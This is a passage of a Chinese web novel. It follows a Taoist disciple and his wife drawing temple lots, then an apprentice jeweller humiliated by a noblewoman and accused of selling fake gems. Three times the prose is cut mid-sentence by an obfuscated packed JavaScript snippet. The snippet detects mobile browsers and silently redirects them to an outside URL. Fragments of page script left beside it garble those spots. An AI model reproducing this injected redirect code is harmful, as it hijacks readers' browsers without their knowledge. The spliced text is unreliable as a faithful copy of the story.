路过一处石碑时,又会说起白云观曾经有个道士感悟‘天人合一’失败后,下山起义做了皇帝后留下的。 甚至经过一棵不起眼的老树,他都会用十分深沉的口吻描述,从前民间不安稳时,白云观的道士是如何下山剿匪,平定匪乱,百姓感其恩德种树答谢! 叶青漓听得直接入迷,有时会提出问题。 “真的会有皇帝主动放弃皇位吗?那后来皇帝是谁当?天下没有大乱吗?” “一个道士也能做皇帝?他是刚才那个皇帝的后人吗?真的会有人跟着他起事吗?” “剿匪?白云观的道士还会武功?那闲云观主也会吗?” 顾承宴眼底闪过淡淡笑意。 “谁知道呢?那都是很久以前的传说了!” 从白云观后殿到闲云观主的院子,短短一条路的时间,叶青漓已经从顾承宴口中听了七八个有关白云观的传说,各个都充满神奇,令人着迷,让她沉醉到站在闲云观主门前还不自知。 “到了。” “啊?到了?” 叶青漓回过神来,自己已经和顾承宴一起站在一处院子前,一个小道士带着笑意走到顾承宴面前。 “师兄?你回来了?” “嗯,下山游历,感悟颇多,特来拜见师父。” “师兄等着,我这就去通传。” “师父,师兄带着师嫂回来了!” 叶青漓站在顾承宴身侧,眼睁睁看着那个小道士扭头就对着屋内大喊,声音不加丝毫阻隔传到了自己耳朵里,她的脸蛋肉眼可见变红。 她有些手足无措,侧目看见顾承宴的目光正停留在自己身上,对着他哈哈一笑。 “你的师弟……真可爱哈!” 顾承宴看出叶青漓的害羞,大掌握紧手中的小手,轻轻用力。 “观中人皆是如此爽直,你不必担心。” 叶青漓点头,眼神飘忽。 “我不担心,不担心。” 说不担心是假的! 顾承宴生来二十六载,有记忆起不过二十二载。 这二十二年中有十年都是在白云观度过,闲云观主和观中师弟们比起顾国公府的顾国公和其他公子,更像是他的家人。 两人心意相通后第一次如此正式见家长,她怎么能不担心? 而且顾承宴下山之前说得是游历修心,如今却整个人都被自己拐跑了,还不知那闲云观主知道后会作何感想啊! 两人进屋后,闲云观主正坐在桌边沏着茶,看见两人进来,随意指了下对面,语气平静。 “回来了,坐。” 顾承宴带着叶青漓在他对面坐下。 叶青漓还在犹豫时,闲云观主已经自然地开口。 “和长生一样,叫我师父就好。” “我们不像那些臭和尚,皈依佛门就得断情绝爱,还俗后又跟师父师弟们老死不相往来。只要长生还认我这个师父,你想怎么叫就怎么叫。” 这番话极大缓解了叶青漓的紧张,她看着目光一直温柔的顾承宴,对着面前的长胡子道士唤了一句。 “师父。” “哎!” 闲云观主笑着应了一声,将手中沏好的茶放在叶青漓面前,眸光自然转向顾承宴。 “长生,为师考考你……” 接下来的半个时辰,叶青漓清楚地认识到‘何为道,何为自然’。 就在叶青漓听得晕头转向快要睡着时,顾承宴终于说出那句,“时间不早了,我和娘子就不打扰师父清修了。” 她忽然一个激灵坐直身子,像从前上课打瞌睡时忽然惊醒一样快速朝闲云观主偷瞄一眼。 闲云观主只是摸着胡子,嘴角带笑看着叶青漓,“既如此,我就不送了。” “往后若有时间,多回来看看就好。” 一直走出小院的范围,叶青漓才觉得脸上滚烫的温度下去,两人安静在观里走着,谁都没提刚才的事情。 不多时,两人走出后殿,又遇见前来求神问灵的香客,叶青漓忽然起了兴趣。 “不如我们也去求一支签吧!” 顾承宴神情微讶,跟着叶青漓的脚步跨进殿内。 叶青漓接过一旁小道士递来的签筒,直接塞进顾承宴手里,“你先来!” 第一次不是以观中人的身份拿起签筒,顾承宴还有点不适应,在叶青漓的期待下慢慢摇起来。 随着木签摇晃碰撞,一支签忽然跃出签筒掉在地上。 叶青漓捡起来看了眼,脸上立刻露出笑容,“是上上签!” “你求了什么?” 顾承宴闻言也笑了,却并没回答她的问题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439365|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>叶青漓不依,“你快说说,求的是什么?” 顾承宴看了她一眼,从她手中夺过那支签,将上上签的签文完完整整看了一遍,眸中笑意更深。 扭头却对着叶青漓道:“求签问灵与许愿无异,说出来就不灵了,这件事情只需三清祖师和我知道就好!” 他笑得神神秘秘的样子,引得叶青漓撇了撇嘴。 “你不告诉我就算了,我自己也能抽!” 她拿过顾承宴手里的签筒,对着三清祖师的泥像诚心祈祷。 “祖师爷啊,请保佑我接下来开的酒楼赚到大钱!给我一个上上签!” 她合上双目,神情虔诚,口中念念有词,手中快速摇晃签筒,很快一支签掉出来。 叶青漓伸手去捡,看清内容后却瞬间垮下脸。 “怎么了?” 顾承宴凑近去看,发现她手中拿着的正是一支下下签。 顾承宴眸间控制不住染上几分笑意,叶青漓更加不爽嘟着嘴,“不是说白云观很灵吗?我只是想问问酒楼能不能赚大钱,赚不到就赚不到好了,为什么还给我一个下下签?” “咳,我早说过求签如同许愿,你说出来就不灵了,所以这支签也不必当回事。” 他将签筒放回原位,拉着叶青漓走出正殿。 正夏的阳光落在脸上,叶青漓下意识抬手,身侧却突然多出来一个身影,替她遮住那些刺目的日光。 顾承宴知道叶青漓最爱赚钱,刚才那下下签给她的打击不亚于上次霓裳阁出事。 他拉着叶青漓快步离开正殿,搜肠刮肚给叶青漓继续讲白云观的那些离奇传说,可惜这一次叶青漓的注意力全被那支签文吸走,听故事也听得无精打采的。 两人走到一个地方后顾承宴忽然听住脚步,传说故事也不讲了。 耳边一片寂静,叶青漓终于回神,恍然发现顾承宴竟带她到了两人第一次见面的地方! “怎么到这来了?”叶青漓望着那个破败的柴房,眼前忽然浮现自己带人营救采莲姐弟,被顾承宴叫停的场景。 “青漓还记得这是哪吗?” “当然记得。” “当时我正在教训人,你忽然叫停,我一抬头,还以为自己看见了话本里的神仙。”叶青漓眸间泄出几分笑意,“神仙可不多见,我想都没想就上去问了名字,,现在想来好像有点莽撞了。” 不过莽撞得很对! 叶青漓低头看了眼两人紧牵的手,眼里满是柔情。 顾承宴想着两人第一次见面的时候,轻笑一声。 “当时一个生得好看的姑娘正带人殴打师弟,我上前阻拦却拦不下,好不容易叫停了对方的恶行,那姑娘又凶巴巴得靠近问我的名字,我当时也是吓傻了,竟然直接就说出来自己的道号……” “嗯?你说我凶?” 叶青漓刻意瞪着脸,踮脚抵在顾承宴面前凶神恶煞看着他,“既然觉得我凶,当时不理会我就好了!” 顾承宴伸手揽住腰,帮她减轻压力,“不敢。” “要是早知道自己会喜欢上你,我当时就应该报上自己的真名,” 叶青漓凶巴巴的表情维持不到一秒,就因为控制不住勾起的嘴角破功。 “小道士,油嘴滑舌!” 顾承宴低头,“谢谢娘子夸奖。” 一阵微风拂过,观中轻灵的铃音响起,伴随着耳边夏蝉的低语,叶青漓看着近在咫尺的俊颜,忍不住闭上眼,顾承宴搂着她缓缓送上自己的唇。 微风不燥,时间静好,两人在树下轻吻,许下终身的诺言。 74. 玉石 裘玉莹自打从叶蕙珠口中听见一句感兴趣后,日日都盼着叶蕙珠能来自己的铺子光顾一次。 她是叶侍郎之女,身边自有一群官家小姐作为好友,若是自己的铺子入的了叶蕙珠的眼,进而吸引到其他贵客,那以后生意就不愁做了! 可惜叶蕙珠只是嘴上说说,转头就把裘玉莹的首饰铺子忘了。 毕竟她出身侍郎之家,母亲是陆国公府独女,什么样的好东西没见过? 裘玉莹拿出来的首饰只在做工设计上勉强有点巧思,材质却远远配不上自己的身份。若是她买了带出去,旁人只会觉得她叶蕙珠落魄了! 叶蕙珠如今全部的心思都放在自己的肚子和沈仕楣身上。 十月怀胎,如今已有七月,再过三个月她就要分娩,成为一个母亲。叶蕙珠每日准备着孩子出生所需的物品,时而期盼着沈仕楣这个父亲对孩子的期待。 然而除了那日裘玉莹借住时沈仕楣回来得早了些,其后几天他依旧和往常一样早出晚归,甚至又找叶蕙珠要了更多银子出去和同僚喝酒。 “你整日到底是跟哪个同僚喝酒?你们难道都没有其他正经事可做吗?” 叶蕙珠狐疑的目光下,沈仕楣眼神微闪。 他拧着眉略有不满,“娘子这话说的,我当然想做些正经事,可谁叫你当初给我安排的是武官门下的小小度支①?他们一群武人本就看不起我,日日不将我放在眼里,若是他们喝酒时我再怯场不去,岂不是更加没面子?” “我……” 叶蕙珠一滞。 她也没想到求来求去会给沈仕楣求到这样一个位置,可好歹这是个京官,不用去偏远山沟里吃苦不是? 反正沈仕楣最后是要回到京城的,早几年和晚几年有区别吗?若他一直在京城做官,说不定能比上一世升得更快! 她按下心中不满,看向沈仕楣,“这次要多少?” 沈仕楣抽了抽鼻子,“五十两。” “五十两?”叶蕙珠再次皱眉,“什么酒要这么贵?” 沈仕楣啧了一声,“你不会以为我和他们出去只喝酒?” “当然还要点下酒菜!他们一群武人,食量又大,点些平常小菜哪里填得饱肚子,自然置一桌席面更好。一群粗人喝多了满口浑话,脱衣服光膀子又喝又闹,自然得设一间厢房更体面。” “林林总总加起来,五十两已然不多了。” 叶蕙珠只听沈仕楣的描述就对他的那些同僚没什么好感,不情愿地给了身旁丫鬟一个眼神,丫鬟将五十两递到沈仕楣面前。 男人眼前一亮,刚伸手要拿。 “等等!” 叶蕙珠半躺在床上,一只手放在鼓鼓囊囊的肚子上,“你就没什么想对咱们孩子说的?” 沈仕楣闻言,眉间一抹不耐化为微笑,走上前坐在叶蕙珠身旁,一手放在她肚子上轻轻抚摸着。 “好孩子,乖乖在你娘肚子里待着,等爹爹升了官回头给你买糖吃!” “还没出生的孩子哪里会吃糖,净会哄我和孩子!” 叶蕙珠嗔怪一声,沈仕楣却忽然压了上去,在她脸上亲了一记。 “娘子和我的孩子,自然是极聪慧的!将来必定什么都会!” “讨厌!” 两人半笑之间,气氛越加亲热,房中的丫鬟早在沈仕楣坐到床上时,便偷偷出了房间。 她守在门外等了会,等到屋里的声音渐渐小了,沈仕楣才一个人从里面走出来,手里拿着那装着五十两的荷包,衣衫微乱,神色自若。 “好好照顾你们家小姐。” “是。” 这日之后,沈仕楣又回到早出晚归的状态,而且每晚回来时满身酒气,哪怕叶蕙珠想与他说说话,也怕腹中孩子被这浓重的酒气熏到,只好离他远远的。 养胎的日子无聊,不过叶蕙珠最不缺乐子。在家里闲着也是闲着,整日和沈家那几个人相对,还不如去外面街上逛逛。 当叶蕙珠的身影出现在裘玉莹的铺子里时,裘玉莹瞬间激动得丢下正在介绍的客人,一路小跑来到叶蕙珠面前。 “表嫂,真是巧,你是来买东西的吗?” 叶蕙珠被丫鬟搀着,漫步走进店内,眼尾轻挑环视一圈,鼻尖发出一声轻嗤。 “的确是小得可怜,东西也一般般。珍珠不够圆润,玉石成色也不佳,只有手艺勉强能入眼。” “这种店也只有那些买不起首饰的人才会来!” 一旁正在挑选的客人听见这话脸上笑容一僵,方才拿在手里还觉得不错的手镯瞬间变得暗淡无光。 坐在柜台后面的掌柜兼裘玉莹师父瞬间冷下脸。 裘玉莹心头猛地一跳! 她师父是什么水平她清楚,设计上手工上都无可挑剔,唯一缺乏的就是上好的材料。 可惜她们都是女子,出来挣钱本就不被人看好,加上本钱少,做出来的多是银器,就连玉石珠宝也都用的次一些的做底。 哪怕把店内所有好东西摆出来加在一块,都抵不上叶蕙珠头上的那支累丝葡萄纹金钗。 可她正需要叶蕙珠帮她吸引更多顾客,哪里舍得将人赶走? 裘玉莹扬起一抹笑,“表嫂说得是,您是侍郎家的千金,自然见多识广。” “我们店里的东西只是材料上欠缺,手艺却是实打实的好,不如你先瞧瞧有没有相中的?” ‘侍郎千金’几个字一出口,方才脸色僵硬的客人悄悄朝这边望了一眼,待看清叶蕙珠的衣着打扮,发饰容貌,加上周身气派后,心底那小小的不虞已经消散。 她小门小户,确实比不上侍郎家千金。 叶蕙珠并不介意这种暗含惊艳羡慕的目光,她在裘玉莹的带领下,走到柜台前。 “师父,快把咱们店里的好东西都拿出来给我表嫂瞧瞧,表嫂自己的首饰比咱们店里的还多,定能给师父很多意见。” 柜台后的瘦削女人依旧冷着脸,将藏在柜台最下层的首饰端出来。 裘玉莹期待地看着叶蕙珠,希望从她口中听见几句夸赞,哪怕只是一个‘不错’,也能给她们这家小店带来不菲的收益。 还在挑选手镯的客人早就忘了自己的目的,一双眼睛呆呆地看向叶蕙珠,等着她发表意见。 叶蕙珠抬起一只修长白皙的手,在托盘上慢慢移动。 食指上的红宝石戒指缓缓从每件首饰上划过,仿佛划在裘玉莹心里,终于叶蕙珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448813|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手落在一块玉佩上,将它拿起来,放在眼前细细看起来。 “雕工不错,这只玉面狐狸毛发细腻,根根分明,眼神也做得活灵活现……” 裘玉莹激动得险些不能呼吸,这是她师父最满意的一个作品,花费了整整半个月才雕刻完成,今日叶蕙珠这么一评价,明日放出风去,必定有大把的人抢着来买! “可惜,料子差了些,这种没种没水的料子,送给我我都不愿意要!” 叶蕙珠说罢,随意将东西往托盘上一丢。 玉佩落在木质托盘上瞬间发出一声不大不小的闷响,正如裘玉莹此刻的心情。 她咽了咽口水,努力挽回,“表嫂……觉得这玉佩做得不好吗?” “好是好,可是除了雕工,其他的一无是处!”叶蕙珠拿过丫鬟手中的手帕随意擦了起来,仿佛刚才摸过什么脏东西。 她扭过头看向裘玉莹,似乎是在对她说,又好像在对旁边偷看许久的客人说。 “出门在外,首饰代表的就是一个人的身份!若是料子贵重,哪怕你腰间戴着一块未经雕琢的璞玉,也没人会轻视你。反之,哪怕手艺再好,廉价料子带在身上都是拉低身份!” “你那么热情欢迎我来这看看,我还当有什么好东西,原来都是些破烂玩意,真是浪费我的时间!” 叶蕙珠优雅翻了个白眼,伸手搭在丫鬟手上,转身就要离开。 “等等!”一直坐在柜台里面的瘦削女人忽然开口,叶蕙珠不耐转头,“怎么,我有说错什么吗?” 那女人从柜台里走出来,站在叶蕙珠面前,双目微红。 “你把我的东西摔坏了,你得赔我!” 叶蕙珠:“?” 她顺着对方手指的方向看过去,才发现刚才那块被她拿起来的玉佩竟然从中间裂了一条缝隙,虽然不足以让玉佩碎成两半,却实实在在削弱了这块本就不算昂贵的玉佩品相。 叶蕙珠高傲地看着对方,“就这种东西,掉在地上我都不会捡的,你叫我赔?怎么赔?” 她语气轻蔑,那女人的眼眶也越来越红,瘦削的身躯微微发抖。 “我不管,再便宜也是我店里的东西,你弄坏了,就得赔!” 叶蕙珠抬眼将她上下打量一眼,冷笑一声,“你这是知道自己的东西卖不出价钱,讹上我了?” 眼见两人之间气氛越来越僵,裘玉莹连忙上前一步分开两人视线。 “师父,表嫂,有话好说,有话好说!” 她先转向叶蕙珠,满脸微笑。 “表嫂,实在不好意思,我师父绝不是想要讹你。只是那玉佩虽材质低劣,也是她花了半个月的心思完成的,对她来说算是贵重物品。” “如今突然损毁,她一时无法接受……” “呵!” 叶蕙珠嗤笑一声,“她这块玉佩算什么东西,哪怕雕出花来,也不过是一块不值钱的破石头!” “你……你住口!” “我凭什么住口?你在京城开铺子做生意,难道还不许客人评价?” “表嫂!” 哪怕裘玉莹从住进沈家开始就在时刻讨好叶蕙珠,这一刻她也不得不承认,叶蕙珠实在让人讨厌! 75. 假货 这间铺子是她师父的心血,如果不是没有足够的本钱,师父也不愿意把自己的手艺刻在那些普通的木头石头上,可叶蕙珠出身贵族,不懂她们的苦也就罢了,为何还要出言嘲讽? 裘玉莹看见师父双眼泛红,情绪激动忽然大吼一声,店内霎时间安静下来。 对上叶蕙珠愠怒的眼神后,她又瞬间清醒过来。 自己如今还在沈家借住,这间铺子以后的生意推广也还要靠叶蕙珠,千万不能惹怒她! “表嫂……” 裘玉莹软了声音,努力挤出一抹微笑看向叶蕙珠,“我师父不是那个意思,只是你也知道我们生意刚刚做起来,手里没那么多本钱,所以只能尽力做出好花样。” “表嫂说得是,这玉佩本就不值几个钱,表嫂不用赔了。” 她满脸带着讨好的笑,希望叶蕙珠能够理解自己,偏偏叶蕙珠生下来就从来不懂‘体谅’二字为何意? 她低眉瞅了眼裘玉莹,满目轻视。 “你以为自己是谁?不过是来沈家打秋风的穷亲戚,要不是我大发善心将你收留,你如今连住的地方都没有!” “凭你也敢来教训我?好好记住你自己的位置!” 裘玉莹脸上笑容不变,只是嘴角微僵,静静接受叶蕙珠的‘批评’。 叶蕙珠带着身边的丫鬟离开后,一旁看够了热闹的客人,先看了眼叶蕙珠高傲尊贵的背影,又看了眼手中品相一般的手镯,终是摇了摇头,放下手镯离开了。 此处铺面本就偏僻,今日登门的客人不多,那人一走铺子瞬间冷清不已。 店内只剩下两人之后,裘玉莹看着她的师父伸手将那枚玉佩拿起,眷念地轻轻抚摸上面的纹样,触及那丝被叶蕙珠不小心丢出来的缝隙时,眸间隐含泪光。 裘玉莹慢慢走到对方面前,愧疚地低下头。 “师父,对不起,都是我的错,我只想着表嫂身份尊贵,若她能夸一夸咱们的东西,日后生意就好做了,却没想到……” 没想到她的三表嫂竟是一个这样高傲自大又没有礼貌的人! 裘玉莹一侧脸颊有些火辣辣的,像是那日被叶蕙珠没头没脑扇了一巴掌一样疼! 西娘子看着玉佩,对裘玉莹轻轻摇了摇头,嗓音像渴了多日的人一样沙哑。 “你那个表嫂说得对,任我设计再妙,雕工再好,放在这些石头上也是白费。若是咱们手里有成色上好的玉石,哪怕只是一块,这间铺子也能好起来!” 裘玉莹一时间哑口无言。 她师父……是个寡妇。 年幼时师父听从父母安排嫁给一个男人,这么多年来过着贫贱夫妻百事哀的生活。哪怕师父天赋很好,因为手里一直没有本钱,也只能在木头上石头上雕雕画画,最好的时候也不过是做个银钗出来。后来那个男人死了,师父不愿再嫁,变卖所有家产,想尽一切办法才在京城这处巷角租下一个小小的铺面,为的就是实现自己多年的梦想! 至于自己,和师父一样,出身在平凡又普通的农家。 上有几个早就嫁了人的姐姐,下有一个全家供养的弟弟。不出意外,再过几年,裘玉莹也该听从父母安排随意嫁个男人,然后跟着他清苦一生。 裘玉莹不想过那样的生活,才会拜师学艺,希望能在父母将她嫁人之前挣些银子。只要向他们证明了自己的价值,也许,她就不用和师傅还有几个姐姐一样随意嫁人了。 可表嫂的话说得很对,像她们这样拿不出好材料,做出来的首饰又哪里会有人愿意买呢? 当晚裘玉莹回到沈家时,天光微暗,此时除了沈仕楣在外应酬没有回来,沈家众人早已休息,就连白日里洒扫的下人们也各自回了房间。 裘玉莹空着肚子独自一人走在回房的路上,院中大榕树上栖着的夏蝉仿佛看出她的无能,对着她肆意嘲笑,空中弯月照在她身上,映出一个和她师父一样瘦小的影子。 她抬着沉重的步伐往前走,目光落在自己的影子上,眨了眨眼。 忽然,裘玉莹脚步停了,树梢上的夏蝉也跟着静了一瞬。 下一刻,她迅速掉头,目标直指一个方向。 “小姐,裘姑娘说有事想见你。” 叶蕙珠用完晚饭,正按照大夫的嘱咐在院子里散着步,听见裘玉莹的名字顿时眉心微蹙。 “不见!” 一想到下午被两个贱民拉着要赔偿,她心里就一股气,一点都不想再看见她! 门口的小丫鬟表情微顿,她摸了摸袖中那对好看的耳饰,壮着胆子又道:“裘姑娘说是来给小姐道歉的,希望小姐务必赏脸见见她。” “道歉?”叶蕙珠抚着肚子冷笑一声,狭长的眼尾挑了挑,“好啊,我倒要听听她怎么给我道歉?” 裘玉莹跟着小丫鬟走进院子,叶蕙珠正被身旁侍女搀扶着坐下。 她抬起眼皮,轻蔑地看了裘玉莹一眼,并未开口。 裘玉莹定了定神,朝叶蕙珠弯下腰,“今日店里的事,是我师父的错,我代替师父向表嫂道歉,还请你能原谅我师父。” “表妹这话说得不清不楚,你师父错在哪我都不知道,如何原谅?” 裘玉莹呼吸微滞,哑着嗓子道:“是我们先用了劣质的玉石做首饰,那块玉佩才会出现裂痕,与表嫂无关。” “师父错怪了表嫂,还吵着要你道歉,态度不好说话也冲,是师父不对。我代替她向表嫂道歉,希望你能原谅她!” 当着满院子侍女丫鬟的面,裘玉莹再次深深向叶蕙珠鞠了一躬。 叶蕙珠瞧着她冷哼一声,“这些话你早点说清楚不就好了?何必要让我生气?我如今是大着肚子的人,气不得!” “是我们不好,本想让表嫂去挑些喜欢的饰品玩,没想到会出这样的意外,惹了表嫂不快,玉萤实在抱歉。” 裘玉莹喏声说着,“表嫂今日说得对,没有上好的材料,做出来的东西再精美也不值几个钱。师父已经打算换更名贵的料子做首饰了……” 被打得那一半脸颊又开始微微发烫,她深吸一口气,挤出一抹笑,“表嫂今日去看过师父的铺子里,也知道我们手里没什么本钱,所以……” “所以我想向表嫂借些银子,买些珍贵的玉石材料回来。师父的手艺很好,经她加工以后,那些本就昂贵的玉石做成的首饰定然能卖出个好价钱!到时候我们再把借的银子还给表嫂。” “表嫂觉得如何?” 叶蕙珠眼神淡淡的,落在裘玉莹身上时,仿佛将她丢进寒窟,夏日的燥热霎时转化为刺骨冷意,让她控制不住打了个冷战。 “我为什么要听你的?” “我不是要表嫂听我的,只是向表嫂献上一个挣钱的法子。”裘玉莹努力控制自己的声音不颤抖,“表嫂见识过我师父的手艺,哪怕我见识不多,也知道师父手艺上佳,否则表嫂不可能因为我送的一对银钗就跑来铺子看首饰。” “若是表嫂愿意借我些银子,加上师父的手艺,将来铺子一定能挣大钱。我愿意和表嫂签订契约,事后收益五五分成,如何?” 叶蕙珠闻言慢条斯理换了个坐姿,上下审视裘玉莹一眼,冷哼一声。 “就你?” “也配跟我五五分?” 裘玉莹皱了皱眉,心中更多的却是喜悦。 “那四六如何?” 叶蕙珠张嘴,吐出的价格却叫裘玉莹心声退意。 “二八!” “表嫂,二八我和师父恐怕连本钱都赚不回,师父不会同意的。” 叶蕙珠白了她一眼,“那就算了!” “别!” 裘玉莹咬着下唇,一脸纠结。 叶蕙珠愿意与自己掰扯这个就说明她也看中了师父的手艺,有她提供银子买珍贵材料,不愁做出来的东西没人买。 可二八分对她们来说太不公平! 她一直没答应,叶蕙珠也没了耐心,“你若是不愿意就算了,道歉我收下,你可以走了。” “我同意!” 机不可失,裘玉莹只能先应下叶蕙珠的不合理要求。 叶蕙珠唇角微勾,“不过我不打算借你银子……” 裘玉莹笑容立时僵在脸上,难道叶蕙珠是骗她的? 只见叶蕙珠偏了偏头,一直侍立在一旁的丫鬟便从首饰柜下面取出一个小箱子。 叶蕙珠随意指了指,语气轻飘飘道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457657|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是我从前收集的一些小玩意,不值几个钱,你先拿去做首饰吧,若是卖得好,我再投些银子。” 满满一箱的玉石翡翠,珍珠玛瑙映入眼帘时,裘玉莹看得眼睛都直了! 这一刻,哪怕是叶蕙珠再扇她一巴掌她都会鼓掌夸叶蕙珠扇得好! 她紧紧搂着那箱子玉石,“多谢表嫂!表嫂放心,我师父手艺很好,一定能给表嫂赚多多的银子!” “嗯,去吧!” 裘玉莹得了一箱子宝贝,激动得一夜都没睡好,第二天天不亮就立刻去找了西娘子,将两人之间的谈话说与她听。 西娘子本不打算答应这个豪不公平的条件,奈何裘玉莹极力劝她。 “师父,这可是我好不容易争取来的机会,你不是也说以后不能再用那些廉价的东西做首饰,只要我们把表嫂这一箱东西成功卖出去,以后这间铺子就不会缺客人了!” “可是……那分成……” 裘玉莹知道她担心什么,连忙上前走到她身后帮她捶肩,“分成以后可以再提,反正表嫂没有跟我签契约,这箱子宝石就算是考验我们的。” “只要我们做得好,卖出高价,说不定以后表嫂还会求着跟我们合作呢!” 西娘子终于打消心中最后一丝顾虑,拿着那箱宝石开始设计。 她当真是在这方面有些天赋,不过五日功夫,就做出五件精美又华贵的首饰,有叶蕙珠送来的宝石做底,每一件都美得令人陶醉! 裘玉莹万分小心将这五件首饰摆在小店最显眼的地方,等待有缘人的到来。 说来也巧,今日正好太子殿下邀请未来太子妃去城外白云观一游。 邱慧怡坐在马车上,随意掀开车帘,忽然被一家店内反射的阳光晃了眼睛。 “停车!” 她一声令下,马车瞬间停在巷口。 “小姐,怎么了?” 一旁的小丫鬟不明所以。 邱慧怡直接下了马车,向着这家小店走去。 裘玉莹看见有客人来,连忙扬起笑容向她走来。 “这位姑娘有什么喜欢的?” 邱慧怡没搭理她,径直走在店中央一个衔着牡丹花的孔雀玉簪面前。 方才那抹刺眼的光,正是从牡丹花心的红宝石反射而来。 “这支玉簪做得倒是精妙。” 她拿起玉簪认真看起来,裘玉莹按耐住心中惊喜,用尽量平静的语气说道:“姑娘真是好眼光!” “这支玉簪是我师父精心雕琢三个月所得,你看这孔雀尾巴上的羽毛,根根分明,还有那牡丹花的花瓣,朵朵逼真,而且这玉簪还有一个妙处!” 她顿了顿,悄悄观察了邱慧怡一眼,试探问道:“姑娘可有心上人?” 邱慧怡收回目光,神情桀骜,“有又如何?没有又如何?” 裘玉莹夸张一拍手,“哎呀,那可区别大了!” “我师父做这支玉簪时可是做了整整三个月的梦!梦中一直是一个白胡子的老者手里握着一大把红线,师父说那老者给了她一根放在手中,等她醒来后就发现手里攥着一颗红宝石。” “师父说这颗宝石是被月老大人开过光的,若是女子有了心上人,将它戴在头上,必能心想事成,与心上人永结为好。” 邱慧怡已经将玉簪插在自己头上,欣赏镜子里的美人,听见这句话神情微动。 裘玉莹说着,有些不好意思地看了眼邱慧怡,“姑娘若是还没有心上人,不如先瞧瞧别的,把这玉簪留给更有需要的人吧!” 裘玉莹之所以能被西娘子收为徒弟,不是因为她在设计上有多大的天赋,而是因为她有一双善于观察的眼睛和一张巧嘴! 这位姑娘一进门裘玉莹就看出她非富即贵,眉间含情和她几个姐姐即将出嫁时一样。 所以她立刻为这支玉簪编造了一个美好的故事,既能让客人买得更开心,又能给玉簪涨涨价,何乐而不为? 裘玉莹期待地看着邱慧怡,等着她一高兴解开腰包。 怎料,头戴玉簪的女子上一刻还欢喜不已,下一刻却陡然冷了脸,一巴掌重重扇在裘玉莹脸上。 “你敢卖我假货?” 76. 砸店 裘玉莹被扇得两眼发懵,甚至来不及生气。 “这怎么会是假货呢?” 这上面的玉石宝珠都是叶蕙珠给她的,侍郎千金手里的东西怎么会是假货? 不等裘玉莹开口解释,邱慧怡就将头上的玉簪扯下来,重重摔在地上。 “不要!” 裘玉莹瞪大了眸子,却来不及阻止。 只能眼睁睁看着玉簪碎成几截,有什么东西也从里面掉了出来。 邱慧怡偏了偏头,一旁的侍女立刻上前将地上的碎片捡起,包括玉簪中掉出来的粉末也全都揽在一张手帕上。 “你自己睁开眼睛看看,这是不是假货?” 裘玉莹早在看见那红色粉末时就愣在原地。 被邱慧怡推搡一下后,她趔趄两步,无力撑在柜台前,颤抖着手捡起一块红宝石碎片,拇指轻轻擦拭,待看见宝石由红转透明后,脸上瞬间写满了难以置信。 “这,怎么会这样?怎么会这样?不该是这样的!不该是这样的!” 邱慧怡站在旁边冷眼看着裘玉莹‘演戏’,“你们这种人我见得多了,拿些杂七杂八的石头拼起来充当珍贵宝石,低价买进再高价卖出!坑害了不知多少人!今日幸好是我遇见了,否则还不知哪家小姐要遭你祸害!你们这种人就该被官府抓起来打一顿板子才能老实!” 裘玉莹这时才回过神来,一脸惊恐地看着对方,目露哀求之色,“这是我表嫂送给我的宝石,我不知道这是假的,这位姑娘求你放过我吧,我不知道,我真的不知道!” 邱慧怡的架势比叶蕙珠摆得更足。 一想到自己卖了假货被人当场抓包还要报官,裘玉莹吓得连忙跪在地上,不停祈求。 “姑娘,我错了!我不知道,我真的不知道!” “这宝石是我表嫂给我的,她说送给我做生意,我不知道她存了这样的心思来害我!姑娘,我求求你,放过我吧!” “求求你了!我家里还有病弱的母亲,下面还有个年幼的弟弟,他们全指着我赚钱回去养着,报了官我们一家就没活路了!” “求求你!” 裘玉莹跪在地上扯着邱慧怡的裙角,哭得涕泗横流。 邱慧怡瞧着只觉得心烦。 被太子邀约游玩,她本是十分高兴的,路边遇到合眼缘的首饰也打算买了,这人说的假故事正合她的心意她乐得花钱买高兴。 可偏偏连东西都是假的! 就算她今天心情好,不与她计较真假。 可若按照她所说这玉簪能保自己和心上人永结为好,把这假玉簪买回去戴上了,岂不是也表示太子和她之间的情意是假的? 这叫邱慧怡如何能忍? 她一脚踹在裘玉莹脸上将人踹开,转身就要吩咐人去报官。 身旁的丫鬟却在这时提醒,“小姐,不可报官!” “咱们赶着去赴殿下的邀请,若要报官必得耽误时间,且难免传到殿下耳朵里,既破坏小姐今日和殿下的约定,还容易给殿下留下小姐上当受骗的坏印象!” 邱慧怡点头,“你说得对!” 